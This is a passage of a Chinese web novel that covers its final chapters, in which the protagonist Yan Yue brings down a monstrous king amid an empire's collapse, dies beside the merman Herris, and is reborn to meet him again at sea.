他冲着晏越大吼,声音也变成了混杂的声音,既有男人和女人的声音,更有老人和小孩的声音。 “把东西给我!!” 晏越强忍着想吐的欲望,拼命开枪。 不知道为了永生,这老国王到底吞噬了多少人的性命。 子弹打空了,他拼命闪过老国王的攻击,顺势将枪丢掉然后打开冷冻箱。 里面躺着两支试剂,他费劲掰开自己的右手,将药剂举起来冲着老国王喊:“别想着做你的春秋大梦了!” 急速爬行的老国王吼叫着,一只手竟然开始融化成粘稠的液体,甩在晏越已经没了知觉的右手上。 慢慢的,粘稠的液体开始腐蚀皮肤和肌肉,甚至漏出了白骨。 “砰!” 已经称不上人的老国王用令人干呕的融合躯干砸在晏越肋骨上。 人类的身躯无法承受巨大的冲击力,被砸飞了出去,但白骨仍死死捏着药剂。 粘稠的液体又重新变回了手,一寸寸掰开药剂上的白骨。 老国王心满意足地拿起药剂,在即将打入身体前,突然转变了主意,竟然把药剂先打给了晏越。 “年轻人,不要耍花招。” 直到看晏越没什么反应,他才放心下来,迫不及待将最后一管药剂打进自己的身体里。 他疯狂大笑着,飞奔着跑去按下了一个按钮。 “我终于完成了!” 金碧辉煌的王宫开始脱落,天花板像蛋壳一样被一点一点剥开。 原来整个王宫都被他建立成了一个可以打开的形状。 晏越耗尽最后的力气,平躺在地上,恰好能看到天幕机械壁上的缝隙越来越大。 从缝隙中开始漏出一点紫色的光。 那是污染光线。 “我耗尽精力才达到了这种程度,只要污染越强,我的力量就会越强,能够成为我的力量源泉,这是你们的荣幸!” 老国王迎面仰头接受着光线的沐浴。 污染光线抵达这个帝国深处最安全的地方,他听到哭喊声尖叫声从四面八方传来。 一阵轰鸣声后,沾染上污染的人类开始失去智,一股脑涌入帝国的最深处,寻找最靠近光线的地方。 那些污染物围上了老国王后,老国王才发现哪里不对。 他惊恐地发现自己竟然没有吞噬它们的力量,反而是在被分食。 他猛地低头看到下半身居然开始恢复了人类的躯体模样。 惊慌失措的老国王知道自己上当了,开始对着晏越大吼大叫:“你究竟给我打了什么东西?!” 但他的喉管已经被一个污染物咬开了,可他连推开那个污染物的力量都不存在了。 污染物被老国王吸引,却没管一旁的晏越。 于是晏越费劲地撑起身子,靠在墙旁。 因为肾上腺素失去了效用,疼痛开始从四肢蔓延。 他从兜里摸出一根烟,可惜烟已经受潮了,味道变了,并且他摸遍了全身都没找到能点火的东西。 看来靠着尼古丁镇痛的这条路是行不通了。 他只能叼着烟,深深地吸了一口。 烟上不知道什么沾染了赫瑞斯身上的香气,竟意外地让他觉得比尼古丁的作用更好。 他说:“你求之不得的东西。” 晏越把风衣的衣角撕开,死死绑在自己的右手手臂上,延缓疼痛。 老国王的声音越来越低了。 “你个混账东西,跟你那没用又该死的爸妈一样” 他先是咒骂,把能想到的词全用上了,然后是痛的大叫,开始祈求晏越救救他,最后才是痛哭尖叫。 看似是忏悔后悔,但句句都是虚伪。 一波一波的污染物涌入,迫不及待分食老国王残破的身躯。 晏越轻笑了一声,他知道现在老国王还能听到自己说话。 污染物不喜欢人类的大脑,所以独独留下了老国王的头颅。 所以现在所有的声音和痛苦都会被清楚地传达到老国王的脑袋里。 “成为食物的感觉怎么样?这种慢慢被咀嚼的声音是不是很好听?” “这可是你自己选的,怪不得别人。” “哦对了,忘了告诉你,这个药剂并不是我研究的,而是你嘴里那个没用又该死的两个人做出来的。” 脸色苍白的青年缓慢地勾起唇角,“下地狱的时候,记得从这些污染物的肚子里掏出来自己的尸体碎片啊。” 耳边只剩下了咔嚓咔嚓的咀嚼声,他安静地闭上了眼睛,又深深吸了一口没点燃的烟。 那些污染物吃尽了老国王的躯体,只留下一个脑颅,才将目光放向了晏越这边。 俊朗的青年曲起膝盖靠在墙边,似乎是以这种姿势睡了过去。 整座王宫开始塌陷掉落。 大殿中间出现了一个巨大的洞,躲避不及的污染物们纷纷掉入了洞中。 一只污染物好不容易爬了出来,在即将抓到青年的衣角时,突然被一股巨大的力量掀翻出去。 待它再抬头看时,眼前的青年已经被一只人鱼带走了。 被抱着离开的晏越在赫瑞斯的怀中逐渐清醒过来。 他难受地动了一下,赫瑞斯摸了摸他的额头说:“别乱动。” 晏越的声音闷闷的,“痛。” 赫瑞斯拢着爱人的手臂顿了一下,然后轻柔地拍打着他的后背,像是哄小孩睡觉一样。 “一会儿就不痛了,再忍忍。” 细细密密的吻落在他的眼眶上、脸颊上、鼻梁上。 晏越说:“还是痛。” 赫瑞斯咬破了舌尖,将人鱼血喂给他喝,但没什么太大作用。 他只能快点,再快一点,离开这里。 “别睡,跟我说说话。” 赫瑞斯不断在怀里人的耳边说着,希望这样可以让他保持清醒。 第78章 第 78 章 下次见。 他瘦了不少, 赫瑞斯一只手臂便能将他抱过来。 穿在身上风衣有点宽松,右边的袖子耷拉下来空空落落的。 赫瑞斯只是看了一眼,眼底满是心疼, 抱着他时尽量避开了他的伤口。 他依在赫瑞斯的肩头,看着飞速向后倒退的一切景象, 苦痛好像逐渐抽离了出来。 不断变成污染物的人类开始叫嚣着往王宫涌入, 天幕在一片片坠落。 整个帝国像是崩溃的一盘散沙,社会秩序也不复存在。 活着的人尖叫着拼命想要跑出这个曾经是所有人趋之若鹜的堡垒。 还有人仍在祈求神明的原谅,选择呆在这里, 并不断说服自己这只是神降下惩罚的假象。 但他们忘记了,这个地方从根里就开始腐烂了。 摇摇欲坠的帝国死在数十年前,直到今天才轰然坍塌。 赫瑞斯将他保护的严严实实,动作干脆利落杀灭了扑来的污染物。 鱼尾和蹼爪不知不觉染上了黑色, 也不知道是自己的还是那些污染物的。 晏越仰头看向天空,破碎坠落的天幕外, 是不断扩大的污染光线。 明明都是一片紫黑色, 但他偏偏从天幕外看到了灰白色的苍穹。 那是天空真正的颜色。 自然不会为任何人降下垂怜, 这才是天道。 所有生命都只是世间的过客。 人不该妄图获得违逆天道的东西。 “别睡,我带你离开这里。”赫瑞斯不让他睡, 不断地跟他说话。 晏越闭了闭眼, 说:“我想再去看他们最后一眼。” 涌入的污染物互相感染, 放眼所及全都是, 他们几乎被淹没在黑色的海洋中。 只要停留片刻, 就会有被吞噬的危险。 而赫瑞斯却立刻停下,没有丝毫犹豫地答应他。 “好。” 晏越指了公墓的方向,赫瑞斯便带他去了。 当年父母离开的时候,并没有作为突出贡献人员入葬帝国陵墓, 而是葬在了一处偏僻狭小的公墓里。 晏越觉得这倒很好。 从生前他们便不喜帝国这破烂腐败的巨大牢笼,死后的灵魂也应当得到安眠。 两块墓碑简单干净,除了时间和名字没有其他多余的文字。 他们的时间最后停在了同一天。 旁边留着一块空碑,那本来是晏越留给自己的。 但现在或许用不上了。 赫瑞斯将他放下来,静静看着他缓慢走上前,用风衣将他们二人的名字擦净。 “我十岁的时候他俩就离开了,小时候不懂事还恨过他们,为什么偏偏要把我一个人留下来。” “其实我跟他们赌气了许多年,那段时间里我的人生只有实验、吃饭和睡觉”,晏越说到这里想起那段时间的日子后笑了一下。 “就这样持续了三个月没说过一句话,老师回来的时候发现我已经失去了语言沟通的能力,最后又花了快一年的时间去康复。” 晏越说的有些累了,想要找一块地方坐下来休息。 赫瑞斯低下身子,让他坐在自己的鱼尾上。 休息了一会儿,晏越继续说,“然后老师就让谈寺天天盯着我,跟我说一百句话,实际上大多都是谈寺自己在说,我觉得他很吵,没想到吵着吵着就习惯了。” 身下的鱼尾冰冰凉凉的,很舒服。 他干脆把后背也靠在赫瑞斯的鱼尾上,因舒服而轻轻喟叹一声。 “我没想到谈寺居然是第三联盟的人,不过其实他是哪里的人都无所谓,但他自己好像很在意。” 他说着,摊开掌心,从墓碑上拿下来的树叶顺着风就飞远了。 “结果人死的时候,连块碎片都找不到。” 他看着树叶越飞越高,越飞越远。 “我不喜欢他,但如果这样能让你舒服一些的话。” 赫瑞斯说着,俯下身子,额角贴着他的额角。 一股独属于赫瑞斯的香味逐渐散开。 他在这一瞬间,先是听到了树叶飞舞的窸窸窣窣声,然后是海浪拍击礁石声,慢慢的变成了冰山碎裂砸入海中的声音。 跟天地融为一体后,人突然就变得异常平静。 晏越抿起唇角,举起左手,用手背碰了碰赫瑞斯冰凉的脸颊。 “是啊,其实大家都是殊途同归。” 是风是雨也是自然万物。 天幕在不断坠裂,被污染光线侵占的土地开始蔓延。 青年靠在赫瑞斯的鱼尾上,深深地看了墓碑最后一眼,做最后的告别。 婆娑的树影混着最后的日光,照在洁白的碑上。 这里会变成重度污染区。 数十年,甚至百年以后,重度污染区才会面向人类开放。 他那时肯定是看不到了。 赫瑞斯没有催他,甚至弯曲着鱼尾好让他靠着更舒服一些。 只要他想在这里呆上多久,赫瑞斯就会陪他多久。 然后,他对赫瑞斯轻轻地说:“走吧。” 在光线覆盖到洁白墓碑的下一秒,金尾人鱼抱起他快速离开帝国。 蔓延的土地跟不上他们的速度,被远远甩到后面。 晏越回头看着,直到最后一丝光线也湮没在灰黑色的土地上,扭开了头。 赫瑞斯从污染潮中找到了最靠近海洋的出口,他们顺利地离开了这座已经变成地狱的地方。 当晏越再次坠入海洋的怀抱时,竟奇怪地感到了从未有过的安心和熟悉。 像是小时候那种对海洋最纯澈热烈的感觉又重新回来了。 他再次回到了童年,只是这次不再是自己一个人,而是有赫瑞斯陪伴左右。 烟灰蛸不知道从哪里急急忙忙跑过来。 他这才知道,这条最近的路是烟灰蛸用触手打通的。 它好像又长大了一些,但晏越已经没有力气再摸摸它柔软的大脑袋了。 他好像听到了小孩的哭声,很想跟烟灰蛸说别难过,但缓了口气的时间就睡过去了。 直到冰凉的液体被喂进嘴里,他才清醒了一点。 赫瑞斯抱着他在海洋中游动,“之前在海神岛屿的那只小人鱼,长大后会去弗洛狄的族群,贝芙丽被我救活了,现在也在弗洛狄的族群生活。” 两只白海豚不知道什么时候从周围蹿过来,咯咯唧唧地叫着。 赫瑞斯告诉他:“它们是第七基地的两只海豚,说谢谢你救了它们。” 赫瑞斯说了很多事,晏越一直听着,听到这里时,他没忍住,轻笑一声。 “海洋生物真是善良,我只是把它们重新放归了海洋,它们便将我看成了救命恩人。” “你也是,当时我开玩笑说下辈子做你的附庸,成为人鱼,你就信了。” 赫瑞斯说:“不是附庸,是我的配偶。” 然后又说:“你不愿意就算了,不逼你。” 赫瑞斯将他带到一个洞穴中,洞穴里有一个深不见底的水潭。 这里的潭水有着特殊的功效,可以缓解人的伤痛。 许多受到重伤的人鱼会在这里缓解疼痛。 晏越被轻放进水潭里后,松开了一直紧皱的眉。 像是灼烧的五脏六腑被灌入了冰凉的解药。 赫瑞斯就在身后抱着他,充当他的人肉垫子。 晏越仰着头,把脑袋搁在赫瑞斯的颈窝,呼吸也逐渐平缓下来。 水下冰凉的鱼尾卷着他的膝盖和小腿,很舒服。 他干脆蹬掉了鞋子,光脚踩在坚硬的鳞片上。 这个角度一睁眼便能看到赫瑞斯浅色的睫毛,和那双蔚蓝如浩瀚海洋的瞳孔。 “这里只能缓解一时的疼痛,会越来越痛的。” 晏越闷闷地“嗯”了一声,因为疼痛已经开始泛上来了。 赫瑞斯问:“真的不要变成人鱼吗?变成人鱼后,这些伤才有治愈的可能。” 青年摇摇头,柔软的短发蹭在赫瑞斯颈窝上光滑的肌肤。 他的降生并不是那样的完美,就连成长也是伴随着阴谋和算计。 但他是以人类的身份来到这个世界的,也该以人类的身份离开。 他不想再用这幅身躯继续苟延残喘下去。 这是他作为人类最后的命运,也是给“晏越”这个身份最体面的结局。 赫瑞斯平静地说:“好,没关系,下次我还是会找到你的。” “我的生命很长,无论重来多少次都不要紧,我都会找到你。” 晏越闭着眼睛,说:“那万一下次我还不记得你怎么办?” 赫瑞斯说话时,胸腔的震动沿着他的后脊梁,传到了心脏尖端。 “那我也会一直陪在你身边的。” 晏越又问:“但假如下次我直到死都没接受你,你会难过吗?” 这个问题让赫瑞斯沉默了片刻,然后低下头亲吻了他的侧颈。 冰凉的触感贴在肌肤上,那里是人类最脆弱的大动脉处。 “会,但我永远都不会放弃寻找你,也会相信你总有一次会接受我,哪怕只有一天,一个小时。” 晏越听后,想着还好自己没有放弃。 抵达忒亚、找到那些基地,甚至为父母报仇。 虽然走到最后,他们全部离开了他,父母、老师、朋友。 留在身边的没有人类,只剩下赫瑞斯和一只趴在洞穴口的烟灰蛸。 如果有下次,他想就这么为自己活一次,不用考虑那些未竟之事。 只是简单的按照自己的心愿,随心所欲。 那时他可以不带任何顾虑观看海洋最原始的景色,让海浪带走灵魂。 他没再说话,两个人就这么静静地躺在深不见底的水池中,直到日升月落潮涨潮退。 在第二个朝阳升起时,海平线跟天色融为了一体。 火烧云将整片海洋染上了新生的颜色。 烟灰蛸伸来的腕足捏住了他的左手。 在乎的两个生命都在身边了,温暖的日光照进洞穴的水潭中。 他感觉心绪格外平和。 他说:“下次见。” 金尾人鱼抱着他,感受到爱人在怀里渐渐睡去,在他耳边呢喃: “下次见。” “做个好梦。” 【正文完】 第79章 第 79 章 好久不见 “小晏啊, 快来帮婆婆看看这个东西该怎么办哦?” 头发花白的老妇人拿着一块用花布包着的东西敲响了面前的门。 很快门被从里面打开了,走出一个俊朗的青年。 青年将她搀扶进屋里,给她倒了杯水, 然后把花布打开,拿出里面的通讯工具放着桌子上查看。 他看了一会儿, 告诉老妇人:“阿婆, 你下海捕鱼的时候就不要总带着它了,进水就不好用了,我一会儿帮你修好。” 老妇人连连答应, 小口抿着手里的温水,看着青年认真的背影,满意的不得了。 她夸赞道:“小晏可真厉害,什么都懂。” “那天我听寇老头说, 你不仅帮他修了家里的电视,还顺手帮他治好了头痛呢, 怪不得镇子上的那群小孩子都说你会魔法。” 青年转过身无奈地笑, 将修好的东西用花布重新包上还给阿婆。 “我只是跟他说喝烈酒的时候不要喝那么多茶。” 老妇人笑眯眯地说好好好, 但看那模样依然觉得他会魔法。 “哎呀,我锅里炖的鱼快好了, 我得赶紧回去看看了!” 青年无奈, 将老妇人送出门外, 还叮嘱道:“阿婆, 记得多炖一会儿, 你喜欢放黄豆,那个东西不熟会中毒的。” 老妇人小步快走,“知道啦,傍晚记得来阿婆家吃饭呀。” 青年说:“我就不去了, 下午我有点事得出门。” “哎!” 老妇人急急忙忙回家,走到一半被另一个戴着帽子的妇人叫住了。 “去找小晏来着啊?” 老妇人点头,“诶,小晏这孩子真好。” 于是两人开始夸赞起青年来。 老妇人感叹:“这孩子也是命苦,被他爹妈从哪个犄角旮旯捡回来,本来以为能享福了,谁知道才过了一年,他俩就病死了,撂下一个三岁大的孩子,愣是命硬长大了。” 戴帽子的妇人附和着: “小晏人好,小镇头什么事都找他办,他也不拒绝,每次都说这里的人对他有养育之恩。” “那会儿他可是喝米汤油长大的。” 老妇人说着,义愤填膺:“我告诉达巴那个老笨蛋别喂他水牛奶,小孩子喝不得,他不听,给孩子直接喂吐了,好嘛这么多年,小晏就挑这个食。” 戴帽子的妇人捂嘴偷笑。 “这孩子聪明着呢,长大了不喝水牛奶总会给小镇上的弟弟妹妹偷偷分着喝,说起来这孩子的名字还是自己取的吧?” “对呀,但我一直都很担心,都说早慧的孩子容易夭折,而且这孩子从小就喜欢呆在海边,我总感觉哪一天就会走的。” 他们的小镇就在海边,出海前要跟海神祈祷,怕大海带走他们。 所有人都对海洋带着敬畏之心,但更多的是恐惧。 青年的同龄人之中,有不少被海洋带走了生命。 要么是遭遇了一些海上的风暴,变得更加畏惧海洋。 唯独青年,从小没怕过海,也没出过事。 所以很多人都叫青年是,被海神眷顾的孩子。 但他们很担心,海神会不会一直眷顾他。 戴帽子的妇人也沉默了一会儿,安慰老妇人。 “没关系,等成家了就好了,况且小晏也二十岁了,是该谈婚论嫁的年纪了。” 老妇人听到这个来了劲,她瘪瘪嘴,“这孩子犟的很,小时候就没见过他跟谁家的孩子一起玩,长大了更是不提这个。” “那天我就让他来家里吃饭,给他介绍个小年轻看看,结果下次说什么都不来了,这不我才叫他来吃炖鱼,他说有事。” 戴帽子的妇人笑的不行,拍拍她的肩膀,“儿孙自有儿孙福嘛。” 老妇人连连摆手,“管不了管不了,不说了,我得赶紧回去看看我的鱼了,回头让小宁再去叫一遍他。” 小宁是从小跟在青年身后长大的,跟青年的关系最好。 小宁听到饭做好了要去叫青年,一股脑从凳子上跳起来就往海边就跑。 青年住的小石屋很破旧,小宁小时候每次进去都要吓一跳,哪次实在好奇,就问他为什么不害怕。 他笑着说:“怕什么,怕鬼?人可比鬼可怕。” 小宁敲敲门,发现青年不在家,于是又沿着岸边找,终于在一个溶洞门口找到了恰好往外走的青年。 小宁问:“哥,你在这干什么呢?” 青年甩了甩手里的水,说上了个厕所。 小宁半信半疑,但还没忘记自己来这里的目的。 “阿婆让你过去吃炖鱼。” 青年答应道:“行,我待会儿去,对了,我明天要去海里,这次去的时间要长一点。” 小宁接过话茬,“我知道,两天后去你那个石头小屋里帮你给那盆花浇水。” 这里的人都知道,青年有个奇怪的爱好。 别人出海是捕鱼,青年出海什么都不做,只是看风景。 在海中央看风景。 小宁对此习以为然。 青年笑眯眯地点头,“走吧。” 小宁又向后那个溶洞里扫了一眼,黑漆漆的,什么都看不见。 三日后,本来在家里醒来吃早饭的小宁突然听到外面闹闹哄哄的,吓得饭都不吃了,赶紧跑出去看。 出去才发现,镇上的人都在哭,而小宁自己却蒙蒙的不知道怎么回事。 阿婆哭的上气不接下气。 旁的人告诉小宁,青年遭遇了海难。 他们路过的船只看见了青年的船,但船上的人却不知所踪了,找了很久都没找到,多半是凶多吉少了。 小宁感觉整个人像是遭了雷劈一样,不可置信地跑向青年那个石头屋。 刚一进去,就被惊到了。 青年的屋里收拾的干干净净,除了一张床,一个桌子,一支笔,一个盆栽,什么都没有。 干净的像是这件屋子根本没人住过一样。 放在桌子上的是青年所有的钱财。 是给小宁的。 小宁觉得不对劲,想起来那个溶洞,又跑去溶洞看。 溶洞里放着一个铁盒子,盒子里面是青年每天都在看的一本书。 书里都是些故事,记载着海底生物的传说秘密。 小宁曾问过青年,这里面的故事只是骗小孩的,为什么青年一直看。 比如这世界上就没有人鱼,即便是他们这些世代生存在海边的人,也没见过人鱼。 青年却告诉他:人鱼是存在的。 小宁不信。 但此时此刻,手里轻轻的铁盒子却让小宁莫名感觉,青年说的是真的。 最后,小宁失魂落魄地带走了青年桌子上的那个盆栽 在海洋的某一处角落,弗洛狄抓住一只想要逃脱的比目鱼,百无聊赖地玩着。 他问:“你就这么等着啊?” 没听到回应,弗洛狄继续玩着那只可怜的比目鱼。 “没想到你居然这么有耐心了,就这么老老实实呆在这里等这么久,要是以前的你估计早就冲过去了吧。” 金尾人鱼还不他,弗洛狄有点坐不住了。 “你怎么能忍得住的,你不怕他不记得你了吗?” 赫瑞斯懒懒地掀起眼皮扫了弗洛狄一眼,“不怕。” 他会记住自己的,但在这之前他需要一段时间,而自己能做的就是耐心地等待。 慢慢的,这些等待的时间不再那么难熬。 他永远怀揣着比昨日更加浓厚的爱,变得期待。 每一次月落,都意味着离着相遇更近一步。 从前赫瑞斯等不及是因为不知道他的心意,也不明白自己的心意。 只是一味的固执着想要将人牢牢锁在自己身边。 但现在不一样。 于是在漫长的时间里,赫瑞斯学会了等待。 浓重的爱意克制又隐忍,藏在深不见底的海洋之下。 赫瑞斯想,他应该也是这样的。 毕竟他们灵魂相通。 赫瑞斯知道,他此时此刻也在这片天空下的某一个地方,思念着自己。 弗洛狄耸肩,将可怜的比目鱼松开,“那你们以后要不要来我的族群?” 赫瑞斯拒绝了。 “他不喜欢被拘束。” 弗洛狄看赫瑞斯意决,也不劝,说了一句后便离开了。 “那行,正好你也不属于任何族群了。” 赫瑞斯抬起头,看了看海上的太阳。 烟灰蛸挪动过来,问赫瑞斯是到时间了吗? 赫瑞斯留下一句[你不能去]然后便离开了。 烟灰蛸还没反应过来,眼前的金尾人鱼就没影了。 气的它像个螺旋桨一样挥舞着触手到处乱跑,掀翻了许多游的好好的鱼 青年在日出时,将船推进海里,摇着木桨离开。 岸边的小镇离他越来越远,住了许多年的石头屋立在海风中,默默送他远去。 他洁白的衬衣被海风鼓起。 海风是温柔的,轻柔地抚过他全身上下每一处健康的细胞。 不再有疾病的困扰,也没有未竟之事的束缚。 他自由的来,也当自由的离开。 等游到海中央时,已经完全看不到岸边的小镇了。 他拿起早就准备好的钓竿,只是这钓竿并没有鱼钩,只是一根线垂在海里。 过了没多一会儿,鱼线被轻轻扯了一下。 海洋下闪过一抹金色。 下一刻,青年所在的小船突然重重向下沉了一些。 冰凉的海水溅到他的脸颊上,带走了烈日灼烧的热度。 金尾人鱼半倚在船头,粗壮的鱼尾比整艘船都要长,大部分都耷拉在水下。 散落在额前湿漉漉的金色长发被随意撩开,漏出了锋利俊美的五官。 一双蔚蓝色的竖瞳中藏着比海还要深沉的浓厚爱意。 青年并不意外,轻轻笑着。 时空在此刻交叠,周围的一切扭曲变幻,唯一不变的是他们依然在彼此身边。 只是今日天晴无雨。 军舰换成了小木船。 好久不见。 真的好久不见。 正文完